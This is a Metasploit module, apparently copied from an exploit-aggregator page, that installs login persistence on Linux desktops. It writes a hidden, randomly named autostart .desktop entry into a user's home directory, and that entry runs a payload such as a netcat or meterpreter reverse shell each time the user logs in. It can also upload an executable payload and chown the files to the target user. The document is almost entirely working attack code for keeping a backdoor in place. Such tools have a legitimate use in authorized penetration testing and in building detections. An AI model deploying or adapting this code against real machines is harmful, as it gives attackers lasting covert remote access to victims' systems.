Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-PERSISTENCE-AUTOSTART-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::EXE # for generate_payload_exe
  include Msf::Exploit::FileDropper
  include Msf::Post::Linux::User
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/linux/local/autostart_persistence'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Autostart Desktop Item Persistence',
        'Description' => %q{
          This module will create an autostart .desktop entry to execute a payload.
          The payload will be executed when the users logs in.
          Verified on Ubuntu 22.04 desktop with Gnome, and 18.04.3.
          The following payloads were used in testing:
          - cmd/unix/reverse_netcat
          - linux/x64/meterpreter/reverse_tcp
          - cmd/linux/http/x64/meterpreter/reverse_tcp
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Eliott Teissonniere' ],
        'Platform' => [ 'unix', 'linux' ],
        'Arch' => [
          ARCH_CMD,
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'Payload' => {
          'BadChars' => '#%\n"'
        },
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'DisclosureDate' => '2006-02-13', # Date of the 0.5 doc for autostart
        'Targets' => [['Automatic', {}]],
        'DefaultTarget' => 0,
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES],
          ['URL', 'https://specifications.freedesktop.org/autostart-spec/latest/'],
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )

    register_options([
      OptString.new('BACKDOOR_NAME', [false, 'Name of autostart entry' ]),
      OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
      OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),
    ])
  end

  def check
    print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
    # https://unix.stackexchange.com/a/237750
    return CheckCode::Safe('Xorg is not installed, likely a server install. Autostart requires a graphical environment') unless command_exists?('Xorg')

    CheckCode::Detected('Xorg is installed, possible desktop install.')
  end

  def target_user
    return datastore['USER'] unless datastore['USER'].blank?

    whoami
  end

  def install_persistence
    print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp') && payload.arch.first != 'cmd'
    user = target_user
    home = get_home_dir(user)
    vprint_status('Making sure the autostart directory exists')
    mkdir("#{home}/.config/autostart", cleanup: false) # in case no autostart exists

    name = datastore['BACKDOOR_NAME'] || Rex::Text.rand_text_alpha(5..8)
    path = "#{home}/.config/autostart/#{name}.desktop"

    print_status("Uploading autostart file #{path}")

    autostart_stub = [
      '[Desktop Entry]',
      'Type=Application',
      "Name=#{name}",
      'NoDisplay=true',
      'Terminal=false'
    ]

    if payload.arch.first == 'cmd'
      write_file(path, (autostart_stub + ["Exec=/bin/sh -c \"#{payload.encoded}\""]).join("\n"))
    else
      payload_path = writable_dir
      payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
      payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
      payload_path << payload_name
      print_status("Uploading payload file to #{payload_path}")
      upload_and_chmodx payload_path, generate_payload_exe
      write_file(path, (autostart_stub + ["Exec=\"#{payload_path}\""]).join("\n"))
      @clean_up_rc << "rm #{payload_path}\n"
    end

    if whoami != user
      cmd_exec("chown #{user}:#{user} #{path}")
      unless payload.arch.first == 'cmd'
        cmd_exec("chown #{user}:#{user} #{payload_path}")
      end
    end

    print_good("Backdoor will run on next login by #{user}")

    @clean_up_rc << "rm #{path}\n"
  end
end